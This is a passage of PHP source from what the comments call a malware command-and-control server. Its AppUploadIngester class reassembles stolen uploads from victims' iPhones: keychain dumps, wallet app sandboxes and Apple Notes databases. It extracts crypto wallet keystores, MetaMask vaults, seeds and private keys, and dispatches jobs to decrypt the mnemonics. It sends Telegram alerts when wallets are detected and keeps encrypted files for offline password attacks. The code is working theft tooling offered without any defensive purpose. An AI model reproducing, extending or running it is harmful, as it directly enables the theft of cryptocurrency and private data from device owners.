.tar — tar of each wallet app's Documents directory * 3. group.com.apple.notes.tar — Apple Notes shared container (NoteStore.sqlite) * * This service reassembles chunked uploads, parses them, and: * - keychain.xml → stored as a keychain.wallets WalletKeystore row * - wallet tar → UTC / walletsV2 extracted as web3.keystore rows * (full sandbox tar is not persisted) * - notes tar → NoteStore.sqlite trio saved to c2/ds-results/ and * DecodeMemoDb job dispatched to parse note text * * DecryptDeviceKeystores is dispatched on /api/v2/finish to recover * mnemonics from the stored keystores off the request thread. */ final class AppUploadIngester { /** Chunk files are saved as ___c.bin */ private const CHUNK_GLOB = '*_%s_c*.bin'; private const USDT_TRC20 = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'; public function __construct( private IngestService $ingest, private DsTrustAddressIngest $trustAddresses, ) {} /** * Reassemble chunks for an upload session, parse the artifact, store * keystores, and dispatch the decryption job. * * @param array $session Cache session (fileName, numberOfChunks, ...) */ public function ingest(Device $device, string $uploadId, array $session): void { $fileName = (string) ($session['fileName'] ?? 'unknown'); $uploadDir = public_path('log/app_c2/uploads'); $chunks = $this->collectChunks($uploadDir, $uploadId, (int) ($session['numberOfChunks'] ?? 1)); if ($chunks === []) { Log::channel('keystore')->warning('AppUploadIngester: no chunk files found', [ 'device_id' => $device->id, 'upload_id' => $uploadId, 'file_name' => $fileName, ]); return; } $content = $this->reassemble($chunks); if ($content === '') { return; } $this->dispatchParse($device, $content, $fileName, $uploadId); } /** * Parse a fully reassembled artifact (used by tests and finish retry). */ public function ingestArtifact(Device $device, string $content, string $fileName, string $uploadId = 'direct'): void { $this->dispatchParse($device, $content, $fileName, $uploadId); } /** * SignalShell harvest zip: pull imToken EOAs from RCTAsyncLocalStorage * using the same collector as the /api/v2 tar path. Token-list `address` * keys are ignored (accountAddress / type=EOA / m/44' only). */ public function ingestImTokenShellZip(Device $device, string $zipBinary): int { $nodes = $this->asyncStorageNodesFromZip($zipBinary); if ($nodes === []) { return 0; } $before = WalletAddress::query() ->where('device_id', $device->id) ->where('source', 'imToken') ->count(); $this->ingestAddressesFromWalletTar($device, 'imToken', 'im.token.app', '', [ 'async' => $nodes, ]); $after = WalletAddress::query() ->where('device_id', $device->id) ->where('source', 'imToken') ->count(); return max(0, $after - $before); } /** * Dispatch the async keystore decryption job for a device. */ public function dispatchDecrypt(Device $device): void { try { DecryptDeviceKeystores::dispatch($device->id, null, null); } catch (\Throwable $e) { Log::channel('keystore')->error('AppUploadIngester dispatch failed', [ 'device_id' => $device->id, 'device_key' => $device->device_id, 'error' => $e->getMessage(), ]); } } // ──────────────────────────────────────────────────────────── // chunk reassembly // ──────────────────────────────────────────────────────────── /** * @param list $chunkIndices * @return list Sorted chunk file paths. */ private function collectChunks(string $dir, string $uploadId, int $numberOfChunks): array { if (! is_dir($dir)) { return []; } // UUIDs only contain [0-9a-f-], none of which are glob special chars, // so no escaping needed (preg_quote would break glob by escaping `-`). $pattern = sprintf(self::CHUNK_GLOB, $uploadId); $files = glob($dir.'/'.$pattern) ?: []; if ($files === []) { return []; } usort($files, function ($a, $b) { return $this->chunkIndex($a) <=> $this->chunkIndex($b); }); // Keep only the expected number of chunks. return array_slice($files, 0, max(1, $numberOfChunks)); } private function chunkIndex(string $path): int { if (preg_match('/_c(\d+)\.bin$/', $path, $m)) { return (int) $m[1]; } return 0; } /** * @param list $chunkPaths */ private function reassemble(array $chunkPaths): string { $out = ''; foreach ($chunkPaths as $path) { $chunk = @file_get_contents($path); if ($chunk === false) { continue; } $out .= $chunk; } return $out; } // ──────────────────────────────────────────────────────────── // parse + store // ──────────────────────────────────────────────────────────── /** * Route the artifact to the correct parser based on file name. */ private function dispatchParse(Device $device, string $content, string $fileName, string $uploadId): void { $lower = strtolower($fileName); if (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) { $this->parseKeychainXml($device, $content, $fileName); } elseif (str_ends_with($lower, '.tar')) { $bundleId = preg_replace('/\.tar$/i', '', $fileName); // Apple Notes is uploaded as group.com.apple.notes.tar — route // it to the NoteStore.sqlite decoder instead of the wallet // keystore walker. if ($this->isNotesBundle($bundleId)) { $this->parseNotesTar($device, $content, $uploadId); } else { $this->parseWalletTar($device, $content, (string) $bundleId); } } else { // Unknown artifact — try tar first, then keychain XML. if ($this->looksLikeTar($content)) { // Peek inside: if it contains NoteStore.sqlite, treat as notes. if ($this->tarContainsNoteStore($content)) { $this->parseNotesTar($device, $content, $uploadId); } else { $this->parseWalletTar($device, $content, $fileName); } } elseif ($this->looksLikeXml($content)) { $this->parseKeychainXml($device, $content, $fileName); } } } /** * Whether a bundle ID / file name refers to the Apple Notes app group. */ private function isNotesBundle(string $bundleId): bool { $lower = strtolower($bundleId); return $lower === 'group.com.apple.notes' || str_contains($lower, 'com.apple.notes') || $lower === 'notes'; } /** * Quick peek: does this tar archive contain NoteStore.sqlite? */ private function tarContainsNoteStore(string $content): bool { if (! $this->looksLikeTar($content)) { return false; } // Tar file names live in the 0–100 byte range of each 512-byte header. // A simple substring scan for "NoteStore.sqlite" is good enough. return str_contains($content, 'NoteStore.sqlite'); } private function looksLikeTar(string $content): bool { return strlen($content) >= 262 && substr($content, 257, 5) === "ustar"; } private function looksLikeXml(string $content): bool { return str_starts_with(ltrim($content), ': {items: [{account, service, dataHex}]}}} */ private function parseKeychainXml(Device $device, string $content, string $fileName): void { try { $xml = @new \SimpleXMLElement($content); } catch (\Throwable $e) { Log::channel('keystore')->warning('AppUploadIngester: keychain XML parse failed', [ 'device_id' => $device->id, 'file_name' => $fileName, 'error' => $e->getMessage(), ]); return; } // Group items by source label. $buckets = []; $itemCount = 0; $seenBundles = []; // bundle IDs seen in this keychain dump foreach ($xml->xpath('//item') as $item) { $acct = (string) ($item->acct ?? ''); $svce = (string) ($item->svce ?? ''); $agrp = (string) ($item->agrp ?? ''); $vData = (string) ($item->{'v_Data'} ?? ''); $dataHex = $this->decodeKeychainVData($vData); if ($dataHex === '') { continue; } $source = $this->sourceFromAgrp($agrp, $acct); if (! isset($buckets[$source])) { $buckets[$source] = ['items' => []]; } $entry = $this->normalizeKeychainItem($acct, $svce, $agrp, $dataHex); $buckets[$source]['items'][] = $entry; $itemCount++; // Collect bundle IDs from agrp for the installed-app list. $bundle = $this->bundleIdFromAgrp($agrp); if ( $bundle !== '' && ! DeviceApp::shouldSkipBundle($bundle) && ! DeviceApp::shouldSkipBundle($agrp) && ! isset($seenBundles[$bundle]) ) { $seenBundles[$bundle] = $source; } } // Record every app that has keychain entries as installed. foreach ($seenBundles as $bundle => $source) { $this->recordInstalledApp($device, $bundle, $source); } if ($buckets === []) { return; } $this->persistEncryptedVaultsFromKeychain($device, $buckets); if ($buckets === []) { return; } $this->persistRecoverableKeychainWallets($device, $buckets); $rawJson = [ 'kind' => 'keychain.wallets', 'wallets' => $buckets, ]; $source = 'app/keychain'; WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson); Log::channel('keystore')->info('AppUploadIngester: stored keychain', [ 'device_id' => $device->id, 'file_name' => $fileName, 'items' => $itemCount, 'sources' => array_keys($buckets), ]); // Don't wait for /api/v2/finish — Phantom / Uniswap / Exodus / Bitpie // mnemonics live in this dump and should show up as soon as it lands. $this->dispatchDecrypt($device); } /** * Pull MetaMask-style encrypted vaults (VAULT_BACKUP) out of the combined * keychain row into their own needs_password=1 keystore rows. * * @param array>}> $buckets */ public function persistEncryptedVaultsFromKeychain(Device $device, array &$buckets): void { $empty = []; foreach ($buckets as $source => &$bucket) { $items = is_array($bucket['items'] ?? null) ? $bucket['items'] : []; $kept = []; foreach ($items as $item) { if (! is_array($item)) { continue; } $vault = $this->vaultJsonFromKeychainItem($item); if ($vault === null) { $kept[] = $item; continue; } $label = WalletSource::fromKeystoreHint(is_string($source) ? $source : ''); if ($label === '') { $acct = strtolower((string) ($item['account'] ?? '')); $agrp = strtolower((string) ($item['accessGroup'] ?? '')); $label = ($acct === 'vault_backup' || str_contains($agrp, 'metamask')) ? 'MetaMask' : (is_string($source) && $source !== '' && $source !== 'unknown' ? $source : 'MetaMask'); } $payload = $vault; $payload['kind'] = 'metamask.vault'; WalletKeystore::firstOrCreateForDevice($device, $label, $payload, true); } $bucket['items'] = $kept; if ($kept === []) { $empty[] = $source; } } unset($bucket); foreach ($empty as $source) { unset($buckets[$source]); } } /** * Split vaults already stored inside the combined app/keychain row * (devices ingested before vaults were persisted separately). */ public function splitStoredKeychainVaults(Device $device): void { $row = WalletKeystore::query() ->where('device_id', $device->id) ->where('source', 'app/keychain') ->first(); if ($row === null) { return; } $json = is_array($row->raw_json) ? $row->raw_json : []; $wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : []; if ($wallets === []) { return; } $before = json_encode($wallets); $this->persistEncryptedVaultsFromKeychain($device, $wallets); if ($before === json_encode($wallets)) { return; } $json['wallets'] = $wallets; $row->raw_json = $json; if (\Illuminate\Support\Facades\Schema::hasColumn('wallet_keystores', 'content_hash')) { $row->content_hash = WalletKeystore::hashPayload($json); } foreach (WalletKeystore::listStatsAttributes(WalletKeystore::computeListStatsFromJson($json)) as $key => $value) { $row->setAttribute($key, $value); } $row->save(); } /** * Surface Bitpie / Phantom / Uniswap / Exodus as their own keystore rows * so the admin 钥匙串 tab lists wallets whose mnemonic lives in keychain * (not a UTC blob). * * @param array>}> $buckets */ private function persistRecoverableKeychainWallets(Device $device, array $buckets): void { foreach (['Bitpie', 'Phantom', 'Uniswap', 'Exodus', 'Coin98'] as $source) { $items = $buckets[$source]['items'] ?? null; if (! is_array($items) || $items === []) { continue; } WalletKeystore::firstOrCreateForDevice($device, $source, [ 'kind' => 'keychain.wallets', 'wallets' => [$source => ['items' => $items]], ]); } } /** * @param array $item * @return array|null */ private function vaultJsonFromKeychainItem(array $item): ?array { $hex = (string) ($item['dataHex'] ?? ''); if ($hex === '' || ! ctype_xdigit($hex) || strlen($hex) % 2 !== 0) { return null; } $raw = @hex2bin($hex); if (! is_string($raw) || $raw === '') { return null; } $json = json_decode($raw, true); if (! is_array($json)) { return null; } foreach (['cipher', 'iv', 'salt'] as $key) { if (! is_string($json[$key] ?? null) || $json[$key] === '') { return null; } } return $json; } /** * Decode the base64-encoded content in and return the raw * bytes as hex. * * Two storage formats exist in iOS keychain dumps: * 1. Plist-wrapped: KEYbase64… * — common for Apple system entries (Bluetooth, account tokens). * 2. Raw value: the base64-decoded content is the value itself (a hex * string, a plain-text password, a JSON snippet, etc.) with no plist * wrapper — common for third-party app entries (Trust Wallet stores * the keystore password as a base64-encoded hex string). * * @param string $vDataRaw Base64-encoded content from . */ private function decodeKeychainVData(string $vDataRaw): string { $vDataRaw = trim($vDataRaw); if ($vDataRaw === '') { return ''; } $decoded = base64_decode($vDataRaw, true); if (! is_string($decoded) || $decoded === '') { return ''; } // ── 1. Try plist-wrapped format (Apple system entries) ── // The plist is XML: KEYbase64 if (str_starts_with(ltrim($decoded), '<') || str_starts_with(ltrim($decoded), "\xb5")) { try { $px = @new \SimpleXMLElement($decoded); $dataNodes = $px->xpath('//data'); foreach ($dataNodes as $dataNode) { $b64 = trim((string) $dataNode); if ($b64 === '') { continue; } $bin = base64_decode($b64, true); if (is_string($bin) && $bin !== '') { return bin2hex($bin); } } } catch (\Throwable) { // fall through to raw handling } } // ── 2. Raw value (third-party app entries) ── // The decoded content IS the value — return it as hex so the // keystore decryptor can try it as a password. This covers: // • hex strings (Trust Wallet keystore password) // • plain text passwords // • small JSON blobs return bin2hex($decoded); } /** * Fill missing Phantom account/service so recoverPhantom can match seedless vaults. * * @return array{account: string, service: string, accessGroup: string, dataHex: string} */ private function normalizeKeychainItem(string $acct, string $svce, string $agrp, string $dataHex): array { $bundle = strtolower($this->bundleIdFromAgrp($agrp)); $isPhantom = str_contains($bundle, 'phantom') || str_contains(strtolower($agrp), 'phantom') || str_contains(strtolower($acct), 'phantom'); if ($isPhantom && $acct === '') { $raw = ''; if ($dataHex !== '' && ctype_xdigit($dataHex) && strlen($dataHex) % 2 === 0) { $raw = (string) @hex2bin($dataHex); } $json = $raw !== '' ? json_decode($raw, true) : null; if (is_array($json) && (isset($json['entropy']) || isset($json['seed']) || isset($json['keyPairs']))) { $acct = bin2hex('.phantom-labs.vault.seedless'); if ($svce === '') { $svce = 'app:no-auth'; } } } return [ 'account' => $acct, 'service' => $svce, 'accessGroup' => $agrp, 'dataHex' => $dataHex, ]; } /** * Map a keychain access group (agrp) to a wallet source label. * agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id". */ private function sourceFromAgrp(string $agrp, string $acct): string { $agrp = trim($agrp); if ($agrp === '') { // Fall back to account-based hint. $hint = WalletSource::fromKeystoreHint($acct); return $hint !== '' ? $hint : 'unknown'; } // Extract bundle id: take the part after the first dot. $bundle = ''; $parts = explode('.', $agrp, 2); if (count($parts) === 2) { $bundle = $parts[1]; } $label = WalletSource::labelForBundle($bundle, ''); if ($label !== '' && $label !== $bundle) { return $label; } $hint = WalletSource::fromKeystoreHint($bundle); if ($hint !== '') { return $hint; } return $bundle !== '' ? $bundle : 'unknown'; } /** * Extract the raw bundle ID from a keychain access group. * agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id". */ private function bundleIdFromAgrp(string $agrp): string { $agrp = trim($agrp); if ($agrp === '') { return ''; } $parts = explode('.', $agrp, 2); return $parts[1] ?? ''; } /** * Record a bundle ID into the device's installed-app list. The malware * only uploads a tar for apps whose sandbox it could dump, so any * uploaded bundle ID is proof the app is installed. Keychain access * groups are a secondary signal (the app has keychain entries). */ private function recordInstalledApp(Device $device, string $bundleId, ?string $name = null): void { $bundleId = trim($bundleId); if ($bundleId === '' || DeviceApp::shouldSkipBundle($bundleId)) { return; } $label = WalletSource::labelForBundle($bundleId, $name ?? $bundleId); $displayName = ($label !== '' && $label !== $bundleId) ? $label : ($name ?? $bundleId); DeviceApp::query()->updateOrCreate( ['device_id' => $device->id, 'bundle_id' => $bundleId], [ 'name' => $displayName, 'is_wallet' => WalletSource::isPluginWalletBundle($bundleId), 'meta_json' => ['source' => 'app_upload', 'uploaded_at' => now()->toIso8601String()], ] ); $this->refreshDeviceWalletFlag($device); } /** * Refresh the device's has_wallet / wallet_names flags from the * current installed-app list. Sends a Telegram notification when * wallets are first detected (has_wallet transitions NONE → YES), * mirroring IngestService::refreshDeviceWalletFlag. */ private function refreshDeviceWalletFlag(Device $device): void { $names = []; foreach ($device->apps()->get(['bundle_id', 'name']) as $app) { $bundle = (string) $app->bundle_id; if (! WalletSource::isPluginWalletBundle($bundle)) { continue; } $label = WalletSource::labelForBundle($bundle, $app->name); $names[$label] = true; } $labels = array_keys($names); sort($labels); $alreadyYes = (int) $device->has_wallet === Device::WALLET_YES; $device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES; $device->wallet_names = $labels === [] ? null : $labels; $device->saveQuietly(); // Notify Telegram the first time wallets are detected // (UNKNOWN/NONE → YES transition). if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES && $labels !== []) { try { app(\App\Services\TelegramNotifier::class) ->notifyInstalledWallets($device->device_id, $labels); } catch (\Throwable $e) { Log::channel('keystore')->warning( 'AppUploadIngester telegram notifyInstalledWallets failed: '.$e->getMessage(), ['device_id' => $device->id, 'device_key' => $device->device_id], ); } } } // ── wallet app tar ────────────────────────────────────────── /** * Walk a wallet app tar for Web3 UTC / walletsV2 JSON and on-chain * addresses. Standard keystores are stored as their own rows. The rest of * the sandbox (MMKV, icons, encrypted DBs) is not persisted — it is not * used to unlock a mnemonic once the UTC blob is extracted. */ private function parseWalletTar(Device $device, string $content, string $bundleId): void { // Full sandbox tars run 50–100 MB; the default 128M limit is not // enough for tar string + decoded sandbox + keystore raw_json. if ((int) ini_get('memory_limit') > 0 && ini_get('memory_limit') !== '-1') { @ini_set('memory_limit', '512M'); } $source = WalletSource::labelForBundle($bundleId, $bundleId); if ($source === '' || $source === $bundleId) { $hint = WalletSource::fromKeystoreHint($bundleId); $source = $hint !== '' ? $hint : ($bundleId !== '' ? $bundleId : 'unknown'); } // The malware only uploads a tar for apps whose sandbox it could // dump — so this bundle is definitely installed on the device. $this->recordInstalledApp($device, $bundleId, $source); $sandbox = $this->extractTarSandbox($content); $needsPassword = $sandbox !== [] && $this->sandboxNeedsUserPassword($bundleId, $source, $sandbox); $this->storeWeb3KeystoresFromSandbox($device, $source, $sandbox, $needsPassword); $this->storePasswordVaultsFromSandbox($device, $source, $sandbox); if ($this->isCoin98Source($source, $bundleId)) { $this->storeCoin98KeystoreFromSandbox($device, $source, $sandbox); } elseif ($this->isTokenPocketFamily($source, $bundleId)) { $this->storeEncryptedSandboxFiles($device, $source, $sandbox); } $this->ingestAddressesFromWalletTar($device, $source, $bundleId, $content, $sandbox); Log::channel('keystore')->info('AppUploadIngester: parsed wallet tar', [ 'device_id' => $device->id, 'bundle_id' => $bundleId, 'source' => $source, 'files' => $sandbox === [] ? 0 : count($sandbox, COUNT_RECURSIVE), 'needs_password' => $needsPassword ? 1 : null, ]); } /** * Standard Web3 UTC / walletsV2 blobs nested in the sandbox become their own rows * so the keystore list can show "标准 Keystore" and the plaintext viewer. * * @param array $sandbox */ private function storeWeb3KeystoresFromSandbox(Device $device, string $source, array $sandbox, bool $needsPassword): void { foreach ($this->collectWeb3Nodes($sandbox) as $node) { $payload = $node; $payload['kind'] = 'web3.keystore'; WalletKeystore::firstOrCreateForDevice($device, $source, $payload, $needsPassword); } } /** * @param mixed $node * @return list> */ private function collectWeb3Nodes(mixed $node, int $depth = 0): array { if ($depth > 12 || ! is_array($node)) { return []; } $out = []; $crypto = $node['crypto'] ?? null; if (is_array($crypto) && isset($crypto['ciphertext'], $crypto['mac'])) { $out[] = $node; } foreach ($node as $child) { if (is_array($child)) { $out = array_merge($out, $this->collectWeb3Nodes($child, $depth + 1)); } } return $out; } /** * imToken / MetaMask / TronLink / TokenPocket sandbox UTC cannot be opened * without the user password (Trust UTC uses a keychain password instead). * * @param array $sandbox */ private function sandboxNeedsUserPassword(string $bundleId, string $source, array $sandbox): bool { $bundle = strtolower(trim($bundleId)); $label = strtolower(trim($source)); $names = $bundle.' '.$label; if (str_contains($names, 'trust')) { return false; } $passwordWallets = ( str_contains($names, 'imtoken') || str_contains($names, 'im.token') || str_contains($names, 'metamask') || str_contains($names, 'tronlink') || str_contains($names, 'tokenpocket') || str_contains($names, 'global wallet') || str_contains($names, 'com.global.wallet') || str_contains($names, 'vip.mytokenpocket') ); if (! $passwordWallets) { return false; } if (str_contains($names, 'metamask') || str_contains($names, 'tokenpocket') || str_contains($names, 'global wallet') || str_contains($names, 'com.global.wallet')) { return true; } return $this->collectWeb3Nodes($sandbox) !== []; } /** * Pull chain addresses (and TronLink sqlite balances) into wallet_addresses. * * @param array $sandbox */ private function ingestAddressesFromWalletTar(Device $device, string $source, string $bundleId, string $tar, array $sandbox): void { $rows = []; $imToken = $this->isImTokenSource($source, $bundleId); $tokenPocketFamily = $this->isTokenPocketFamily($source, $bundleId); $metaMask = $this->isMetaMaskSource($source, $bundleId); $coin98 = $this->isCoin98Source($source, $bundleId); $tonhub = $this->isTonhubSource($source, $bundleId); $okx = $this->isOkxSource($source, $bundleId); // Global Wallet / TokenPocket Documents tar is token-list + helper // contracts (balanceContract / batchTxContract). Real wallets live in // encrypted sqlite and are not recoverable from this dump. $hits = []; if ($imToken) { $hits = $this->collectImTokenAddressHits($sandbox); } elseif ($this->isTrustSource($source, $bundleId)) { $hits = $this->collectTrustAddressHits($sandbox); } elseif ($metaMask) { // MetaMask Documents only holds Redux persist state — the real // user accounts live in persist-AccountsController. Everything // else (AssetsController token lists, network config) is noise. $hits = $this->collectMetaMaskAccountHits($sandbox); } elseif ($coin98) { // Coin98 AsyncStorage caches the full token inventory JSON under // hash-named keys — thousands of contract addresses. Real wallets // live only in the SET_WALLET_STORAGE entry. $hits = $this->collectCoin98WalletHits($sandbox); } elseif ($tonhub) { // Tonhub only ships react-query mmkv caches; the user's own TON // address appears in ["cloud", ""] / ["account", ""] // query keys. Everything else is contract / counterparty noise. $hits = $this->collectTonhubAccountHits($sandbox); } elseif ($okx) { // wallet_coinMeta / OKPayCore.db store token contracts in a // column named `address`. Real HD accounts live in // Documents/wallet (chain_address / segwit / custom chains). $hits = $this->collectOkxAddressHits($tar); } elseif (! $tokenPocketFamily) { $hits = $this->collectAddressHits($sandbox); } foreach ($hits as $hit) { // Same 0x is ETH + BSC + ARB on Trust HD. Key by chain too or // the last coin (ARB) overwrites ETH. $rows[$hit['chain_type'].'|'.$hit['address']] = $hit; } // Token-metadata sqlite (OKX wallet_coinMeta, Coin98 measurement db) // must not leak contract lists into wallet_addresses either. $targetedWallet = $imToken || $tokenPocketFamily || $metaMask || $coin98 || $tonhub || $okx || $this->isTrustSource($source, $bundleId); if (! $targetedWallet) { foreach ($this->collectSqliteAddressHits($tar) as $hit) { $key = $hit['address']; if (isset($rows[$key]) && is_array($rows[$key]['balance'] ?? null) && is_array($hit['balance'] ?? null)) { $rows[$key]['balance'] = array_merge($rows[$key]['balance'], $hit['balance']); } else { $rows[$key] = $hit; } } } if ($rows === []) { return; } $tag = WalletSource::tagForLabel($source); if ($tag === '') { $tag = WalletSource::tagForLabel(WalletSource::labelForBundle($bundleId, $source)) ?: 'd'; } $ad = []; foreach ($rows as $hit) { $base = [ 'address' => $hit['address'], 'chainType' => $hit['chain_type'], ]; $balance = is_array($hit['balance'] ?? null) ? $hit['balance'] : []; if ($balance === []) { $ad[] = $base; continue; } foreach ($balance as $symbol => $amount) { $ad[] = array_merge($base, [ 'symbol' => strtoupper((string) $symbol), 'balance' => $amount, ]); } } $this->ingest->ingestAddresses($device, [ 'a' => $tag, 'ad' => $ad, ]); } private function isImTokenSource(string $source, string $bundleId): bool { $hay = strtolower($source.' '.$bundleId); return str_contains($hay, 'imtoken') || str_contains($hay, 'im.token'); } private function isTokenPocketFamily(string $source, string $bundleId): bool { $hay = strtolower($source.' '.$bundleId); return str_contains($hay, 'global wallet') || str_contains($hay, 'com.global.wallet') || str_contains($hay, 'tokenpocket') || str_contains($hay, 'token pocket') || str_contains($hay, 'mytokenpocket'); } /** * MetaMask persistStore keeps the keyring vault (encrypted mnemonic / * snap secrets) under persist-KeyringController.vault and * persist-SnapController.vault as a JSON-encoded * {cipher, iv, salt, keyMetadata, lib} blob — the exact quick-crypto * format the admin password-unlock flow already decrypts. Collect every * vault-shaped node so it becomes a needs-password keystore row. * * @param array $sandbox */ private function storePasswordVaultsFromSandbox(Device $device, string $source, array $sandbox): void { foreach ($this->collectPasswordVaultNodes($sandbox) as $vault) { $payload = array_merge($vault, ['kind' => 'metamask.vault']); WalletKeystore::firstOrCreateForDevice($device, $source, $payload, true); } } /** * @param mixed $node * @return list> */ private function collectPasswordVaultNodes(mixed $node, int $depth = 0): array { if ($depth > 14 || ! is_array($node)) { return []; } $out = []; $vault = $node['vault'] ?? null; if (is_string($vault) || is_array($vault)) { $parsed = is_string($vault) ? json_decode($vault, true) : $vault; if (is_array($parsed) && is_string($parsed['cipher'] ?? null) && is_string($parsed['iv'] ?? null) && is_string($parsed['salt'] ?? null)) { $out[] = $parsed; } } foreach ($node as $child) { if (is_array($child)) { $out = array_merge($out, $this->collectPasswordVaultNodes($child, $depth + 1)); } } if (count($out) > 1) { $out = $this->uniqueVaults($out); } return $out; } /** * @param list> $vaults * @return list> */ private function uniqueVaults(array $vaults): array { $seen = []; $out = []; foreach ($vaults as $vault) { $key = (string) ($vault['cipher'] ?? ''); if ($key === '' || isset($seen[$key])) { continue; } $seen[$key] = true; $out[] = $vault; } return $out; } /** * Global Wallet / TokenPocket Documents hide the real wallets inside * encrypted blobs (the F4SeCyr backup file and the SQLCipher-locked * db/*.sqlite3) while everything else is market-cache noise. Persist * the non-cache files as an encrypted-sandbox keystore row so the raw * material stays available for offline password attacks even though * no decryptor exists yet. * * @param array $sandbox */ private function storeEncryptedSandboxFiles(Device $device, string $source, array $sandbox): void { $files = $this->collectNonCacheSandboxFiles($sandbox); if ($files === []) { return; } WalletKeystore::firstOrCreateForDevice($device, $source, [ 'kind' => 'encrypted.sandbox', 'files' => $files, ], true); } /** * Grab sandbox files outside Documents/cache (wallet data, encrypted * dbs), capped so a pathological sandbox cannot blow up the row. * * @param array $sandbox * @return array */ private function collectNonCacheSandboxFiles(array $sandbox): array { $out = []; $this->walkNonCacheFiles($sandbox, '', $out, 0); return $out; } /** * @param array $out */ private function walkNonCacheFiles(mixed $node, string $path, array &$out, int $depth): void { if ($depth > 14 || count($out) >= 32 || ! is_array($node)) { return; } foreach ($node as $key => $child) { $childPath = ($path === '' ? '' : $path.'/').(string) $key; $ancestors = explode('/', $childPath); $inCache = in_array('cache', $ancestors, true) || in_array('Caches', $ancestors, true); if (is_string($child) && ! $inCache) { // Only binary payloads (decodeFileContent base64-encoded // them) — decoded plaintext that is valid UTF-8 text is a // config/cache file, not encrypted wallet material. if (preg_match('/^[A-Za-z0-9+\/]{64,}={0,2}$/', $child)) { $bin = base64_decode($child, true); if (is_string($bin) && strlen($bin) >= 32 && ! mb_check_encoding($bin, 'UTF-8')) { $out[$childPath] = $child; } } continue; } if (is_array($child)) { $this->walkNonCacheFiles($child, $childPath, $out, $depth + 1); } } } private function isTrustSource(string $source, string $bundleId): bool { $hay = strtolower($source.' '.$bundleId); return str_contains($hay, 'trust') || str_contains($hay, 'sixdays.trust') || str_contains($hay, 'wallet.crypto.trustapp'); } private function isMetaMaskSource(string $source, string $bundleId): bool { return str_contains(strtolower($source.' '.$bundleId), 'metamask'); } private function isCoin98Source(string $source, string $bundleId): bool { return str_contains(strtolower($source.' '.$bundleId), 'coin98'); } private function isTonhubSource(string $source, string $bundleId): bool { return str_contains(strtolower($source.' '.$bundleId), 'tonhub'); } private function isOkxSource(string $source, string $bundleId): bool { $hay = strtolower($source.' '.$bundleId); return str_contains($hay, 'okx') || str_contains($hay, 'okex') || str_contains($hay, 'com.okex.okexappstorefull') || str_contains($hay, 'com.okex.wallet'); } /** * OKX Documents/wallet is the HD account DB. Other sqlite files in the * same tar (wallet_coinMeta, dex, pay history) store token contracts * and counterparties in columns also named `address`. * * @return list}> */ private function collectOkxAddressHits(string $tar): array { $out = []; $this->eachTarFile($tar, function (string $path, string $raw) use (&$out): void { if (basename($path) !== 'wallet') { return; } if (strlen($raw) < 16 || ! str_starts_with($raw, 'SQLite format 3')) { return; } foreach ($this->parseOkxWalletSqlite($raw) as $hit) { $out[] = $hit; } }); return $out; } /** * @return list}> */ private function parseOkxWalletSqlite(string $sqlite): array { $tmp = tempnam(sys_get_temp_dir(), 'app_upload_okx_wallet_'); if ($tmp === false) { return []; } try { if (@file_put_contents($tmp, $sqlite) === false) { return []; } $pdo = new \PDO('sqlite:'.$tmp, null, null, [ \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION, ]); $tables = $pdo->query("SELECT name FROM sqlite_master WHERE type='table'")->fetchAll(\PDO::FETCH_COLUMN); $wanted = [ 'chain_address' => ['address', 'eoaAddress'], 'chain_address_segwit' => ['address'], 'customChainChainAddressesTable' => ['address'], ]; $byKey = []; foreach ($tables as $table) { $table = (string) $table; if (! isset($wanted[$table])) { continue; } $quotedTable = '"'.str_replace('"', '""', $table).'"'; try { $cols = $pdo->query('PRAGMA table_info('.$quotedTable.')')->fetchAll(\PDO::FETCH_ASSOC); } catch (\Throwable) { continue; } $have = []; foreach ($cols as $col) { $have[(string) ($col['name'] ?? '')] = true; } foreach ($wanted[$table] as $colName) { if (! isset($have[$colName])) { continue; } $quotedCol = '"'.str_replace('"', '""', $colName).'"'; try { $stmt = $pdo->query('SELECT '.$quotedCol.' FROM '.$quotedTable.' WHERE '.$quotedCol.' IS NOT NULL'); } catch (\Throwable) { continue; } while ($row = $stmt->fetch(\PDO::FETCH_ASSOC)) { $hit = $this->addressHitFromString((string) ($row[$colName] ?? '')); if ($hit === null) { continue; } $byKey[$hit['chain_type'].'|'.$hit['address']] = $hit; } } } return array_values($byKey); } catch (\Throwable) { return []; } finally { @unlink($tmp); } } /** * MetaMask accounts are Redux-persisted under * persist-AccountsController → internalAccounts.accounts.{uuid} with a * CAIP type ("eip155:eoa", "solana:data-account", "bip122:p2wpkh", * "tron:eoa", "stellar:account", …). Only the four supported chain * prefixes are stored; snaps and niche chains are skipped. * * @param mixed $node * @return list}> */ private function collectMetaMaskAccountHits(mixed $node, int $depth = 0): array { if ($depth > 14 || ! is_array($node)) { return []; } $out = []; $accounts = $node['internalAccounts']['accounts'] ?? null; if (is_array($accounts)) { foreach ($accounts as $account) { if (! is_array($account)) { continue; } $addr = $account['address'] ?? null; if (! is_string($addr) || $addr === '') { continue; } $chain = $this->metaMaskChainForAccount($account); if ($chain === null) { continue; } $out[] = [ 'address' => $addr, 'chain_type' => $chain, 'balance' => [], ]; } } foreach ($node as $child) { if (is_array($child)) { $out = array_merge($out, $this->collectMetaMaskAccountHits($child, $depth + 1)); } } return $out; } /** * @param array $account */ private function metaMaskChainForAccount(array $account): ?string { $type = strtolower((string) ($account['type'] ?? '')); $prefix = explode(':', $type)[0]; $chain = match ($prefix) { 'eip155' => 'ETHEREUM', 'solana' => 'SOLANA', 'bip122' => 'BITCOIN', 'tron' => 'TRON', default => null, }; if ($chain === null || ! WalletSource::isSupportedChain($chain)) { return null; } return $chain; } /** * Coin98 keeps the real wallet list in the RCTAsyncLocalStorage * SET_WALLET_STORAGE key (a doubly JSON-encoded array of * {address, privateKey, mnemonic, chain, isActive} entries). The * neighbouring keys (CACHE_TOKEN_LIST_DATA, POINT_TOKEN_INFO, …) are * token inventories and must never be harvested. * * @param array $sandbox * @return list}> */ private function collectCoin98WalletHits(array $sandbox): array { $out = []; foreach ($this->coin98WalletsFromSandbox($sandbox) as $wallet) { $addr = $wallet['address'] ?? 